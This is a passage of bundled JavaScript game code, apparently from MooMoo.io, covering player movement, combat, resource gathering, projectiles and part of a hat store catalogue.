                        this.weaponXP = [];
                        this.reloads = {};
                    };

                    // RESET MOVE DIR:
                    this.resetMoveDir = function() {
                        this.moveDir = undefined;
                    };

                    // RESET RESOURCES:
                    this.resetResources = function(moofoll) {
                        for (var i = 0; i < config.resourceTypes.length; ++i) {
                            this[config.resourceTypes[i]] = moofoll?100:0;
                        }
                    };

                    // ADD ITEM:
                    this.addItem = function(id) {
                        var tmpItem = items.list[id];
                        if (tmpItem) {
                            for (var i = 0; i < this.items.length; ++i) {
                                if (items.list[this.items[i]].group == tmpItem.group) {
                                    if (this.buildIndex == this.items[i])
                                        this.buildIndex = id;
                                    this.items[i] = id;
                                    return true;
                                }
                            }
                            this.items.push(id);
                            return true;
                        }
                        return false;
                    };

                    // SET USER DATA:
                    this.setUserData = function(data) {
                        if (data) {
                            // SET INITIAL NAME:
                            this.name = "unknown";

                            // VALIDATE NAME:
                            var name = data.name + "";
                            name = name.slice(0, config.maxNameLength);
                            name = name.replace(/[^\w:\(\)\/? -]+/gmi, " ");  // USE SPACE SO WE CAN CHECK PROFANITY
                            name = name.replace(/[^\x00-\x7F]/g, " ");
                            name = name.trim();

                            // CHECK IF IS PROFANE:
                            var isProfane = false;
                            var convertedName = name.toLowerCase().replace(/\s/g, "").replace(/1/g, "i").replace(/0/g, "o").replace(/5/g, "s");
                            for (var word of langFilter.list) {
                                if (convertedName.indexOf(word) != -1) {
                                    isProfane = true;
                                    break;
                                }
                            }
                            if (name.length > 0 && !isProfane) {
                                this.name = name;
                            }

                            // SKIN:
                            this.skinColor = 0;
                            if (config.skinColors[data.skin])
                                this.skinColor = data.skin;
                        }
                    };

                    // GET DATA TO SEND:
                    this.getData = function() {
                        return [
                            this.id,
                            this.sid,
                            this.name,
                            UTILS.fixTo(this.x, 2),
                            UTILS.fixTo(this.y, 2),
                            UTILS.fixTo(this.dir, 3),
                            this.health,
                            this.maxHealth,
                            this.scale,
                            this.skinColor
                        ];
                    };

                    // SET DATA:
                    this.setData = function(data) {
                        this.id = data[0];
                        this.sid = data[1];
                        this.name = data[2];
                        this.x = data[3];
                        this.y = data[4];
                        this.dir = data[5];
                        this.health = data[6];
                        this.maxHealth = data[7];
                        this.scale = data[8];
                        this.skinColor = data[9];
                    };

                    // UPDATE:
                    var timerCount = 0;
                    this.update = function(delta) {
                        if (!this.alive) return;

                        // SHAME SHAME SHAME:
                        if (this.shameTimer > 0) {
                            this.shameTimer -= delta;
                            if (this.shameTimer <= 0) {
                                this.shameTimer = 0;
                                this.shameCount = 0;
                            }
                        }

                        // REGENS AND AUTO:
                        timerCount -= delta;
                        if (timerCount <= 0) {
                            var regenAmount = (this.skin && this.skin.healthRegen?this.skin.healthRegen:0) +
                                (this.tail && this.tail.healthRegen?this.tail.healthRegen:0);
                            if (regenAmount) {
                                this.changeHealth(regenAmount, this);
                            } if (this.dmgOverTime.dmg) {
                                this.changeHealth(-this.dmgOverTime.dmg, this.dmgOverTime.doer);
                                this.dmgOverTime.time -= 1;
                                if (this.dmgOverTime.time <= 0)
                                    this.dmgOverTime.dmg = 0;
                            } if (this.healCol) {
                                this.changeHealth(this.healCol, this);
                            }
                            timerCount = 1000;
                        }

                        // CHECK KILL:
                        if (!this.alive)
                            return;

                        // SLOWER:
                        if (this.slowMult < 1) {
                            this.slowMult += 0.0008 * delta;
                            if (this.slowMult > 1)
                                this.slowMult = 1;
                        }

                        // MOVE:
                        this.noMovTimer += delta;
                        if (this.xVel || this.yVel) this.noMovTimer = 0;
                        if (this.lockMove) {
                            this.xVel = 0;
                            this.yVel = 0;
                        } else {
                            var spdMult = ((this.buildIndex>=0)?0.5:1) * (items.weapons[this.weaponIndex].spdMult||1) *
                                (this.skin?(this.skin.spdMult||1):1) * (this.tail?(this.tail.spdMult||1):1) * (this.y<=config.snowBiomeTop?
                                                                                                               ((this.skin&&this.skin.coldM)?1:config.snowSpeed):1) * this.slowMult;
                            if (!this.zIndex && this.y >= (config.mapScale / 2) - (config.riverWidth / 2) &&
                                this.y <= (config.mapScale / 2) + (config.riverWidth / 2)) {
                                if (this.skin && this.skin.watrImm) {
                                    spdMult *= 0.75;
                                    this.xVel += config.waterCurrent * 0.4 * delta;
                                } else {
                                    spdMult *= 0.33;
                                    this.xVel += config.waterCurrent * delta;
                                }
                            }
                            var xVel = (this.moveDir!=undefined)?mathCOS(this.moveDir):0;
                            var yVel = (this.moveDir!=undefined)?mathSIN(this.moveDir):0;
                            var length = mathSQRT(xVel * xVel + yVel * yVel);
                            if (length != 0) {
                                xVel /= length;
                                yVel /= length;
                            }
                            if (xVel) this.xVel += xVel * this.speed * spdMult * delta;
                            if (yVel) this.yVel += yVel * this.speed * spdMult * delta;
                        }

                        // OBJECT COLL:
                        this.zIndex = 0;
                        this.lockMove = false;
                        this.healCol = 0;
                        var tmpList;
                        var tmpSpeed = UTILS.getDistance(0, 0, this.xVel * delta, this.yVel * delta);
                        var depth = Math.min(4, Math.max(1, Math.round(tmpSpeed / 40)));
                        var tMlt = 1 / depth;
                        for (var i = 0; i < depth; ++i) {
                            if (this.xVel)
                                this.x += (this.xVel * delta) * tMlt;
                            if (this.yVel)
                                this.y += (this.yVel * delta) * tMlt;
                            tmpList = objectManager.getGridArrays(this.x, this.y, this.scale);
                            for (var x = 0; x < tmpList.length; ++x) {
                                for (var y = 0; y < tmpList[x].length; ++y) {
                                    if (tmpList[x][y].active)
                                        objectManager.checkCollision(this, tmpList[x][y], tMlt);
                                }
                            }
                        }

                        // PLAYER COLLISIONS:
                        var tmpIndx = players.indexOf(this);
                        for (var i = tmpIndx + 1; i < players.length; ++i) {
                            if (players[i] != this && players[i].alive)
                                objectManager.checkCollision(this, players[i]);
                        }

                        // DECEL:
                        if (this.xVel) {
                            this.xVel *= mathPOW(config.playerDecel, delta);
                            if (this.xVel <= 0.01 && this.xVel >= -0.01) this.xVel = 0;
                        } if (this.yVel) {
                            this.yVel *= mathPOW(config.playerDecel, delta);
                            if (this.yVel <= 0.01 && this.yVel >= -0.01) this.yVel = 0;
                        }

                        // MAP BOUNDARIES:
                        if (this.x - this.scale < 0) {
                            this.x = this.scale;
                        } else if (this.x + this.scale > config.mapScale) {
                            this.x = config.mapScale - this.scale;
                        } if (this.y - this.scale < 0) {
                            this.y = this.scale;
                        } else if (this.y + this.scale > config.mapScale) {
                            this.y = config.mapScale - this.scale;
                        }

                        // USE WEAPON OR TOOL:
                        if (this.buildIndex < 0) {
                            if (this.reloads[this.weaponIndex] > 0) {
                                this.reloads[this.weaponIndex] -= delta;
                                this.gathering = this.mouseState;
                            } else if (this.gathering || this.autoGather) {
                                var worked = true;
                                if (items.weapons[this.weaponIndex].gather != undefined) {
                                    this.gather(players);
                                } else if (items.weapons[this.weaponIndex].projectile != undefined &&
                                           this.hasRes(items.weapons[this.weaponIndex], (this.skin?this.skin.projCost:0))) {
                                    this.useRes(items.weapons[this.weaponIndex], (this.skin?this.skin.projCost:0));
                                    this.noMovTimer = 0;
                                    var tmpIndx = items.weapons[this.weaponIndex].projectile;
                                    var projOffset = this.scale * 2;
                                    var aMlt = (this.skin&&this.skin.aMlt)?this.skin.aMlt:1;
                                    if (items.weapons[this.weaponIndex].rec) {
                                        this.xVel -= items.weapons[this.weaponIndex].rec * mathCOS(this.dir);
                                        this.yVel -= items.weapons[this.weaponIndex].rec * mathSIN(this.dir);
                                    }
                                    projectileManager.addProjectile(this.x+(projOffset*mathCOS(this.dir)),
                                                                    this.y+(projOffset*mathSIN(this.dir)), this.dir, items.projectiles[tmpIndx].range*aMlt,
                                                                    items.projectiles[tmpIndx].speed*aMlt, tmpIndx, this, null, this.zIndex);
                                } else {
                                    worked = false;
                                }
                                this.gathering = this.mouseState;
                                if (worked) {
                                    this.reloads[this.weaponIndex] = items.weapons[this.weaponIndex].speed*(this.skin?(this.skin.atkSpd||1):1);
                                }
                            }
                        }

                    };

                    // ADD WEAPON XP:
                    this.addWeaponXP = function(amnt) {
                        if (!this.weaponXP[this.weaponIndex])
                            this.weaponXP[this.weaponIndex] = 0;
                        this.weaponXP[this.weaponIndex] += amnt;
                    };

                    // EARN XP:
                    this.earnXP = function(amount) {
                        if (this.age < config.maxAge) {
                            this.XP += amount;
                            if (this.XP >= this.maxXP) {
                                if (this.age < config.maxAge) {
                                    this.age++;
                                    this.XP = 0;
                                    this.maxXP *= 1.2;
                                } else {
                                    this.XP = this.maxXP;
                                }
                                this.upgradePoints++;
                                server.send(this.id, "16", this.upgradePoints, this.upgrAge);
                                server.send(this.id, "15", this.XP, UTILS.fixTo(this.maxXP, 1), this.age);
                            } else {
                                server.send(this.id, "15", this.XP);
                            }
                        }
                    };

                    // CHANGE HEALTH:
                    this.changeHealth = function(amount, doer) {
                        if (amount > 0 && this.health >= this.maxHealth)
                            return false
                        if (amount < 0 && this.skin)
                            amount *= this.skin.dmgMult||1;
                        if (amount < 0 && this.tail)
                            amount *= this.tail.dmgMult||1;
                        if (amount < 0)
                            this.hitTime = Date.now();
                        this.health += amount;
                        if (this.health > this.maxHealth) {
                            amount -= (this.health - this.maxHealth);
                            this.health = this.maxHealth;
                        }
                        if (this.health <= 0)
                            this.kill(doer);
                        for (var i = 0; i < players.length; ++i) {
                            if (this.sentTo[players[i].id])
                                server.send(players[i].id, "h", this.sid, Math.round(this.health));
                        }
                        if (doer && doer.canSee(this) && !(doer == this && amount < 0)) {
                            server.send(doer.id, "t", Math.round(this.x),
                                        Math.round(this.y), Math.round(-amount), 1);
                        }
                        return true;
                    };

                    // KILL:
                    this.kill = function(doer) {
                        if (doer && doer.alive) {
                            doer.kills++;
                            if (doer.skin && doer.skin.goldSteal) scoreCallback(doer, Math.round(this.points / 2));
                            else scoreCallback(doer, Math.round(this.age*100*((doer.skin&&doer.skin.kScrM)?doer.skin.kScrM:1)));
                            server.send(doer.id, "9", "kills", doer.kills, 1);
                        }
                        this.alive = false;
                        server.send(this.id, "11");
                        iconCallback();
                    };

                    // ADD RESOURCE:
                    this.addResource = function(type, amount, auto) {
                        if (!auto && amount > 0)
                            this.addWeaponXP(amount);
                        if (type == 3) {
                            scoreCallback(this, amount, true);
                        } else {
                            this[config.resourceTypes[type]] += amount;
                            server.send(this.id, "9", config.resourceTypes[type], this[config.resourceTypes[type]], 1);
                        }
                    };

                    // CHANGE ITEM COUNT:
                    this.changeItemCount = function(index, value) {
                        this.itemCounts[index] = this.itemCounts[index]||0;
                        this.itemCounts[index] += value;
                        server.send(this.id, "14", index, this.itemCounts[index]);
                    };

                    // BUILD:
                    this.buildItem = function(item) {
                        var tmpS = (this.scale + item.scale + (item.placeOffset||0));
                        var tmpX = this.x + (tmpS * mathCOS(this.dir));
                        var tmpY = this.y + (tmpS * mathSIN(this.dir));
                        if (this.canBuild(item) && !(item.consume && (this.skin && this.skin.noEat))
                            && (item.consume || objectManager.checkItemLocation(tmpX, tmpY, item.scale,
                                                                                0.6, item.id, false, this))) {
                            var worked = false;
                            if (item.consume) {
                                if (this.hitTime) {
                                    var timeSinceHit = Date.now() - this.hitTime;
                                    this.hitTime = 0;
                                    if (timeSinceHit <= 120) {
                                        this.shameCount++;
                                        if (this.shameCount >= 8) {
                                            this.shameTimer = 30000;
                                            this.shameCount = 0;
                                        }
                                    } else {
                                        this.shameCount -= 2;
                                        if (this.shameCount <= 0) {
                                            this.shameCount = 0;
                                        }
                                    }
                                }
                                if (this.shameTimer <= 0)
                                    worked = item.consume(this);
                            } else {
                                worked = true;
                                if (item.group.limit) {
                                    this.changeItemCount(item.group.id, 1);
                                }
                                if (item.pps)
                                    this.pps += item.pps;
                                objectManager.add(objectManager.objects.length, tmpX, tmpY, this.dir, item.scale,
                                                  item.type, item, false, this);
                            }
                            if (worked) {
                                this.useRes(item);
                                this.buildIndex = -1;
                            }
                        }
                    };

                    // HAS RESOURCES:
                    this.hasRes = function(item, mult) {
                        for (var i = 0; i < item.req.length;) {
                            if (this[item.req[i]] < Math.round(item.req[i + 1] * (mult||1)))
                                return false;
                            i+=2;
                        }
                        return true;
                    };

                    // USE RESOURCES:
                    this.useRes = function(item, mult) {
                        if (config.inSandbox)
                            return;
                        for (var i = 0; i < item.req.length;) {
                            this.addResource(config.resourceTypes.indexOf(item.req[i]), -Math.round(item.req[i+1]*(mult||1)));
                            i+=2;
                        }
                    };

                    // CAN BUILD:
                    this.canBuild = function(item) {
                        if (config.inSandbox)
                            return true;
                        if (item.group.limit && this.itemCounts[item.group.id] >= item.group.limit)
                            return false;
                        return this.hasRes(item);
                    };

                    // GATHER:
                    this.gather = function() {

                        // SHOW:
                        this.noMovTimer = 0;

                        // SLOW MOVEMENT:
                        this.slowMult -= (items.weapons[this.weaponIndex].hitSlow||0.3);
                        if (this.slowMult < 0)
                            this.slowMult = 0;

                        // VARIANT DMG:
                        var tmpVariant = config.fetchVariant(this);
                        var applyPoison = tmpVariant.poison;
                        var variantDmg = tmpVariant.val;

                        // CHECK IF HIT GAME OBJECT:
                        var hitObjs = {};
                        var tmpDist, tmpDir, tmpObj, hitSomething;
                        var tmpList = objectManager.getGridArrays(this.x, this.y, items.weapons[this.weaponIndex].range);
                        for (var t = 0; t < tmpList.length; ++t) {
                            for (var i = 0; i < tmpList[t].length; ++i) {
                                tmpObj = tmpList[t][i];
                                if (tmpObj.active && !tmpObj.dontGather && !hitObjs[tmpObj.sid] && tmpObj.visibleToPlayer(this)) {
                                    tmpDist = UTILS.getDistance(this.x, this.y, tmpObj.x, tmpObj.y) - tmpObj.scale;
                                    if (tmpDist <= items.weapons[this.weaponIndex].range) {
                                        tmpDir = UTILS.getDirection(tmpObj.x, tmpObj.y, this.x, this.y);
                                        if (UTILS.getAngleDist(tmpDir, this.dir) <= config.gatherAngle) {
                                            hitObjs[tmpObj.sid] = 1;
                                            if (tmpObj.health) {
                                                if (tmpObj.changeHealth(-items.weapons[this.weaponIndex].dmg*(variantDmg)*
                                                                        (items.weapons[this.weaponIndex].sDmg||1)*(this.skin&&this.skin.bDmg?this.skin.bDmg:1), this)) {
                                                    for (var x = 0; x < tmpObj.req.length;) {
                                                        this.addResource(config.resourceTypes.indexOf(tmpObj.req[x]), tmpObj.req[x+1]);
                                                        x+=2;
                                                    }
                                                    objectManager.disableObj(tmpObj);
                                                }
                                            } else {
                                                this.earnXP(4*items.weapons[this.weaponIndex].gather);
                                                var count = items.weapons[this.weaponIndex].gather+(tmpObj.type==3?4:0);
                                                if (this.skin && this.skin.extraGold) {
                                                    this.addResource(3, 1);
                                                } this.addResource(tmpObj.type, count);
                                            }
                                            hitSomething = true;
                                            objectManager.hitObj(tmpObj, tmpDir);
                                        }
                                    }
                                }
                            }
                        }

                        // CHECK IF HIT PLAYER:
                        for (var i = 0; i < players.length + ais.length; ++i) {
                            tmpObj = players[i]||ais[i-players.length];
                            if (tmpObj != this && tmpObj.alive && !(tmpObj.team && tmpObj.team == this.team)) {
                                tmpDist = UTILS.getDistance(this.x, this.y, tmpObj.x, tmpObj.y) - (tmpObj.scale * 1.8);
                                if (tmpDist <= items.weapons[this.weaponIndex].range) {
                                    tmpDir = UTILS.getDirection(tmpObj.x, tmpObj.y, this.x, this.y);
                                    if (UTILS.getAngleDist(tmpDir, this.dir) <= config.gatherAngle) {

                                        // STEAL RESOURCES:
                                        var stealCount = items.weapons[this.weaponIndex].steal;
                                        if (stealCount && tmpObj.addResource) {
                                            stealCount = Math.min((tmpObj.points||0), stealCount);
                                            this.addResource(3, stealCount);
                                            tmpObj.addResource(3, -stealCount);
                                        }

                                        // MELEE HIT PLAYER:
                                        var dmgMlt = variantDmg;
                                        if (tmpObj.weaponIndex != undefined && items.weapons[tmpObj.weaponIndex].shield &&
                                            UTILS.getAngleDist(tmpDir+Math.PI, tmpObj.dir) <= config.shieldAngle) {
                                            dmgMlt = items.weapons[tmpObj.weaponIndex].shield;
                                        }
                                        var dmgVal = items.weapons[this.weaponIndex].dmg *
                                            (this.skin && this.skin.dmgMultO?this.skin.dmgMultO:1) *
                                            (this.tail && this.tail.dmgMultO?this.tail.dmgMultO:1);
                                        var tmpSpd = (0.3 * (tmpObj.weightM||1)) + (items.weapons[this.weaponIndex].knock||0);
                                        tmpObj.xVel += tmpSpd * mathCOS(tmpDir);
                                        tmpObj.yVel += tmpSpd * mathSIN(tmpDir);
                                        if (this.skin && this.skin.healD)
                                            this.changeHealth(dmgVal * dmgMlt * this.skin.healD, this);
                                        if (this.tail && this.tail.healD)
                                            this.changeHealth(dmgVal * dmgMlt * this.tail.healD, this);
                                        if (tmpObj.skin && tmpObj.skin.dmg && dmgMlt == 1)
                                            this.changeHealth(-dmgVal * tmpObj.skin.dmg, tmpObj);
                                        if (tmpObj.tail && tmpObj.tail.dmg && dmgMlt == 1)
                                            this.changeHealth(-dmgVal * tmpObj.tail.dmg, tmpObj);
                                        if (tmpObj.dmgOverTime && this.skin && this.skin.poisonDmg &&
                                            !(tmpObj.skin && tmpObj.skin.poisonRes)) {
                                            tmpObj.dmgOverTime.dmg = this.skin.poisonDmg;
                                            tmpObj.dmgOverTime.time = this.skin.poisonTime||1;
                                            tmpObj.dmgOverTime.doer = this;
                                        } if (tmpObj.dmgOverTime && applyPoison &&
                                              !(tmpObj.skin && tmpObj.skin.poisonRes)) {
                                            tmpObj.dmgOverTime.dmg = 5;
                                            tmpObj.dmgOverTime.time = 5;
                                            tmpObj.dmgOverTime.doer = this;
                                        } if (tmpObj.skin && tmpObj.skin.dmgK) {
                                            this.xVel -= tmpObj.skin.dmgK * mathCOS(tmpDir);
                                            this.yVel -= tmpObj.skin.dmgK * mathSIN(tmpDir);
                                        } tmpObj.changeHealth(-dmgVal * dmgMlt, this, this);

                                    }
                                }
                            }
                        }

                        // SEND FOR ANIMATION:
                        this.sendAnimation(hitSomething?1:0);
                    };

                    // SEND ANIMATION:
                    this.sendAnimation = function(hit) {
                        for (var i = 0; i < players.length; ++i) {
                            if (this.sentTo[players[i].id] && this.canSee(players[i])) {
                                server.send(players[i].id, "7", this.sid, hit?1:0, this.weaponIndex);
                            }
                        }
                    };

                    // ANIMATE:
                    var tmpRatio = 0;
                    var animIndex = 0;
                    this.animate = function(delta) {
                        if (this.animTime > 0) {
                            this.animTime -= delta;
                            if (this.animTime <= 0) {
                                this.animTime = 0;
                                this.dirPlus = 0;
                                tmpRatio = 0;
                                animIndex = 0;
                            } else {
                                if (animIndex == 0) {
                                    tmpRatio += delta / (this.animSpeed * config.hitReturnRatio);
                                    this.dirPlus = UTILS.lerp(0, this.targetAngle, Math.min(1, tmpRatio));
                                    if (tmpRatio >= 1) {
                                        tmpRatio = 1;
                                        animIndex = 1;
                                    }
                                } else {
                                    tmpRatio -= delta / (this.animSpeed * (1-config.hitReturnRatio));
                                    this.dirPlus = UTILS.lerp(0, this.targetAngle, Math.max(0, tmpRatio));
                                }
                            }
                        }
                    };

                    // GATHER ANIMATION:
                    this.startAnim = function(didHit, index) {
                        this.animTime = this.animSpeed = items.weapons[index].speed;
                        this.targetAngle = (didHit?-config.hitAngle:-Math.PI);
                        tmpRatio = 0;
                        animIndex = 0;
                    };

                    // CAN SEE:
                    this.canSee = function(other) {
                        if (!other) return false;
                        if (other.skin && other.skin.invisTimer && other.noMovTimer
                            >= other.skin.invisTimer) return false;
                        var dx = mathABS(other.x - this.x) - other.scale;
                        var dy = mathABS(other.y - this.y) - other.scale;
                        return dx <= (config.maxScreenWidth / 2) * 1.3 && dy <= (config.maxScreenHeight / 2) * 1.3;
                    };

                };


                /***/ }),

            /***/ "./src/js/data/projectile.js":
            /*!***********************************!*\
      !*** ./src/js/data/projectile.js ***!
      \***********************************/
            /*! no static exports found */
            /***/ (function(module, exports) {

                module.exports = function (players, ais, objectManager, items, config, UTILS, server) {

                    // INIT:
                    this.init = function(indx, x, y, dir, spd, dmg, rng, scl, owner) {
                        this.active = true;
                        this.indx = indx;
                        this.x = x;
                        this.y = y;
                        this.dir = dir;
                        this.skipMov = true;
                        this.speed = spd;
                        this.dmg = dmg;
                        this.scale = scl;
                        this.range = rng;
                        this.owner = owner;
                        if (server)
                            this.sentTo = {};
                    };

                    // UPDATE:
                    var objectsHit = [];
                    var tmpObj;
                    this.update = function(delta) {
                        if (this.active) {
                            var tmpSpeed = this.speed * delta;
                            var tmpScale;
                            if (!this.skipMov) {
                                this.x += tmpSpeed * Math.cos(this.dir);
                                this.y += tmpSpeed * Math.sin(this.dir);
                                this.range -= tmpSpeed;
                                if (this.range <= 0) {
                                    this.x += this.range * Math.cos(this.dir);
                                    this.y += this.range * Math.sin(this.dir);
                                    tmpSpeed = 1;
                                    this.range = 0;
                                    this.active = false;
                                }
                            } else {
                                this.skipMov = false;
                            }
                            if (server) {
                                for (var i = 0; i < players.length; ++i) {
                                    if (!this.sentTo[players[i].id] && players[i].canSee(this)) {
                                        this.sentTo[players[i].id] = 1;
                                        server.send(players[i].id, "18", UTILS.fixTo(this.x, 1), UTILS.fixTo(this.y, 1),
                                                    UTILS.fixTo(this.dir, 2), UTILS.fixTo(this.range, 1), this.speed, this.indx, this.layer, this.sid);
                                    }
                                }
                                objectsHit.length = 0;
                                for (var i = 0; i < players.length + ais.length; ++i) {
                                    tmpObj = players[i]||ais[i-players.length];
                                    if (tmpObj.alive && tmpObj != this.owner && !(this.owner.team && tmpObj.team == this.owner.team)) {
                                        if (UTILS.lineInRect(tmpObj.x-tmpObj.scale, tmpObj.y-tmpObj.scale, tmpObj.x+tmpObj.scale,
                                                             tmpObj.y+tmpObj.scale, this.x, this.y, this.x+(tmpSpeed*Math.cos(this.dir)),
                                                             this.y+(tmpSpeed*Math.sin(this.dir)))) {
                                            objectsHit.push(tmpObj);
                                        }
                                    }
                                }
                                var tmpList = objectManager.getGridArrays(this.x, this.y, this.scale);
                                for (var x = 0; x < tmpList.length; ++x) {
                                    for (var y = 0; y < tmpList[x].length; ++y) {
                                        tmpObj = tmpList[x][y];
                                        tmpScale = tmpObj.getScale();
                                        if (tmpObj.active && !(this.ignoreObj == tmpObj.sid) && (this.layer <= tmpObj.layer) &&
                                            objectsHit.indexOf(tmpObj) < 0 && !tmpObj.ignoreCollision && UTILS.lineInRect(tmpObj.x-tmpScale, tmpObj.y-tmpScale, tmpObj.x+tmpScale, tmpObj.y+tmpScale,
                                                                                                                          this.x, this.y, this.x+(tmpSpeed*Math.cos(this.dir)), this.y+(tmpSpeed*Math.sin(this.dir)))) {
                                            objectsHit.push(tmpObj);
                                        }
                                    }
                                }

                                // HIT OBJECTS:
                                if (objectsHit.length > 0) {
                                    var hitObj = null;
                                    var shortDist = null;
                                    var tmpDist = null;
                                    for (var i = 0; i < objectsHit.length; ++i) {
                                        tmpDist = UTILS.getDistance(this.x, this.y, objectsHit[i].x, objectsHit[i].y);
                                        if (shortDist == null || tmpDist < shortDist) {
                                            shortDist = tmpDist;
                                            hitObj = objectsHit[i];
                                        }
                                    }
                                    if (hitObj.isPlayer || hitObj.isAI) {
                                        var tmpSd = 0.3 * (hitObj.weightM||1);
                                        hitObj.xVel += tmpSd * Math.cos(this.dir);
                                        hitObj.yVel += tmpSd * Math.sin(this.dir);
                                        if (hitObj.weaponIndex == undefined || (!(items.weapons[hitObj.weaponIndex].shield &&
                                                                                  UTILS.getAngleDist(this.dir+Math.PI, hitObj.dir) <= config.shieldAngle))) {
                                            hitObj.changeHealth(-this.dmg, this.owner, this.owner);
                                        }
                                    } else {
                                        if (hitObj.projDmg && hitObj.health && hitObj.changeHealth(-this.dmg)) {
                                            objectManager.disableObj(hitObj);
                                        }
                                        for (var i = 0; i < players.length; ++i) {
                                            if (players[i].active) {
                                                if (hitObj.sentTo[players[i].id]) {
                                                    if (hitObj.active) {
                                                        if (players[i].canSee(hitObj))
                                                            server.send(players[i].id, "8", UTILS.fixTo(this.dir, 2), hitObj.sid);
                                                    } else {
                                                        server.send(players[i].id, "12", hitObj.sid);
                                                    }
                                                }
                                                if (!hitObj.active && hitObj.owner == players[i])
                                                    players[i].changeItemCount(hitObj.group.id, -1);
                                            }

                                        }
                                    }
                                    this.active = false;
                                    for (var i = 0; i < players.length; ++i) {
                                        if (this.sentTo[players[i].id])
                                            server.send(players[i].id, "19", this.sid, UTILS.fixTo(shortDist, 1));
                                    }
                                }
                            }
                        }
                    };
                };


                /***/ }),

            /***/ "./src/js/data/projectileManager.js":
            /*!******************************************!*\
      !*** ./src/js/data/projectileManager.js ***!
      \******************************************/
            /*! no static exports found */
            /***/ (function(module, exports) {

                module.exports = function (Projectile, projectiles, players, ais, objectManager, items, config, UTILS, server) {
                    this.addProjectile = function(x, y, dir, range, speed, indx, owner, ignoreObj, layer) {
                        var tmpData = items.projectiles[indx];
                        var tmpProj;
                        for (var i = 0; i < projectiles.length; ++i) {
                            if (!projectiles[i].active) {
                                tmpProj = projectiles[i];
                                break;
                            }
                        } if (!tmpProj) {
                            tmpProj = new Projectile(players, ais, objectManager, items, config, UTILS, server);
                            tmpProj.sid = projectiles.length;
                            projectiles.push(tmpProj);
                        }
                        tmpProj.init(indx, x, y, dir, speed, tmpData.dmg, range, tmpData.scale, owner);
                        tmpProj.ignoreObj = ignoreObj;
                        tmpProj.layer = layer||tmpData.layer;
                        tmpProj.src = tmpData.src;
                        return tmpProj;
                    };
                };


                /***/ }),

            /***/ "./src/js/data/store.js":
            /*!******************************!*\
      !*** ./src/js/data/store.js ***!
      \******************************/
            /*! no static exports found */
            /***/ (function(module, exports) {


                // STORE HATS:
                module.exports.hats = [{
                    id: 45,
                    name: "Shame!",
                    dontSell: true,
                    price: 0,
                    scale: 120,
                    desc: "hacks are for losers"
                }, {
                    id: 51,
                    name: "Moo Cap",
                    price: 0,
                    scale: 120,
                    desc: "coolest mooer around"
                }, {
                    id: 50,
                    name: "Apple Cap",
                    price: 0,
                    scale: 120,
                    desc: "apple farms remembers"
                }, {
                    id: 28,
                    name: "Moo Head",
                    price: 0,
                    scale: 120,
                    desc: "no effect"
                }, {
                    id: 29,
                    name: "Pig Head",
                    price: 0,
                    scale: 120,
                    desc: "no effect"
                }, {
                    id: 30,
                    name: "Fluff Head",
                    price: 0,
                    scale: 120,
                    desc: "no effect"
                }, {
                    id: 36,
                    name: "Pandou Head",
                    price: 0,
                    scale: 120,
                    desc: "no effect"
                }, {
                    id: 37,
                    name: "Bear Head",
                    price: 0,
                    scale: 120,
                    desc: "no effect"
                }, {
                    id: 38,
                    name: "Monkey Head",
                    price: 0,
                    scale: 120,
                    desc: "no effect"
                }, {
                    id: 44,
                    name: "Polar Head",
                    price: 0,
                    scale: 120,
                    desc: "no effect"
                }, {
                    id: 35,
                    name: "Fez Hat",
                    price: 0,
                    scale: 120,
                    desc: "no effect"
                }, {
                    id: 42,
                    name: "Enigma Hat",
                    price: 0,
                    scale: 120,
                    desc: "join the enigma army"
                }, {
                    id: 43,
                    name: "Blitz Hat",
                    price: 0,
                    scale: 120,
                    desc: "hey everybody i'm blitz"
                }, {
                    id: 49,
                    name: "Bob XIII Hat",
                    price: 0,
                    scale: 120,
                    desc: "like and subscribe"
                }, {
                    id: 57,
                    name: "Pumpkin",
                    price: 50,
                    scale: 120,
                    desc: "Spooooky"
                }, {
                    id: 8,
                    name: "Bummle Hat",
                    price: 100,
                    scale: 120,
                    desc: "no effect"
                }, {
                    id: 2,
                    name: "Straw Hat",
                    price: 500,
                    scale: 120,
                    desc: "no effect"
                }, {
                    id: 15,
                    name: "Winter Cap",
                    price: 600,
                    scale: 120,
                    desc: "allows you to move at normal speed in snow",
                    coldM: 1
                }, {
                    id: 5,
                    name: "Cowboy Hat",
                    price: 1000,
                    scale: 120,
                    desc: "no effect"
                }, {
                    id: 4,
                    name: "Ranger Hat",
                    price: 2000,
                    scale: 120,
                    desc: "no effect"
                }, {
                    id: 18,
                    name: "Explorer Hat",
                    price: 2000,
                    scale: 120,
                    desc: "no effect"
                }, {
                    id: 31,
                    name: "Flipper Hat",
                    price: 2500,
                    scale: 120,
                    desc: "have more control while in water",
                    watrImm: true
                }, {
                    id: 1,
                    name: "Marksman Cap",
                    price: 3000,
                    scale: 120,
                    desc: "increases arrow speed and range",
                    aMlt: 1.3
                }, {
                    id: 10,
                    name: "Bush Gear",
                    price: 3000,
                    scale: 160,
                    desc: "allows you to disguise yourself as a bush"
                }, {
                    id: 48,
                    name: "Halo",
                    price: 3000,
                    scale: 120,
                    desc: "no effect"
                }, {
                    id: 6,
                    name: "Soldier Helmet",
                    price: 4000,
                    scale: 120,
                    desc: "reduces damage taken but slows movement",
                    spdMult: 0.94,
                    dmgMult: 0.75
                }, {
                    id: 23,
                    name: "Anti Venom Gear",
                    price: 4000,
                    scale: 120,
                    desc: "makes you immune to poison",
                    poisonRes: 1
                }, {
                    id: 13,
                    name: "Medic Gear",
                    price: 5000,
                    scale: 110,
                    desc: "slowly regenerates health over time",
                    healthRegen: 3
                }, {
                    id: 9,
                    name: "Miners Helmet",
                    price: 5000,
                    scale: 120,
                    desc: "earn 1 extra gold per resource",
                    extraGold: 1
                }, {
                    id: 32,
                    name: "Musketeer Hat",
                    price: 5000,
                    scale: 120,
                    desc: "reduces cost of projectiles",
                    projCost: 0.5
                }, {
                    id: 7,
                    name: "Bull Helmet",
                    price: 6000,
                    scale: 120,
                    desc: "increases damage done but drains health",
                    healthRegen: -5,
                    dmgMultO: 1.5,
                    spdMult: 0.96
                }, {
                    id: 22,
                    name: "Emp Helmet",
                    price: 6000,
                    scale: 120,
                    desc: "turrets won't attack but you move slower",
                    antiTurret: 1,
                    spdMult: 0.7
                }, {
                    id: 12,
                    name: "Booster Hat",
                    price: 6000,
                    scale: 120,
                    desc: "increases your movement speed",
                    spdMult: 1.16
                }, {
                    id: 26,
                    name: "Barbarian Armor",
                    price: 8000,
                    scale: 120,
                    desc: "knocks back enemies that attack you",
                    dmgK: 0.6
                }, {
                    id: 21,
                    name: "Plague Mask",
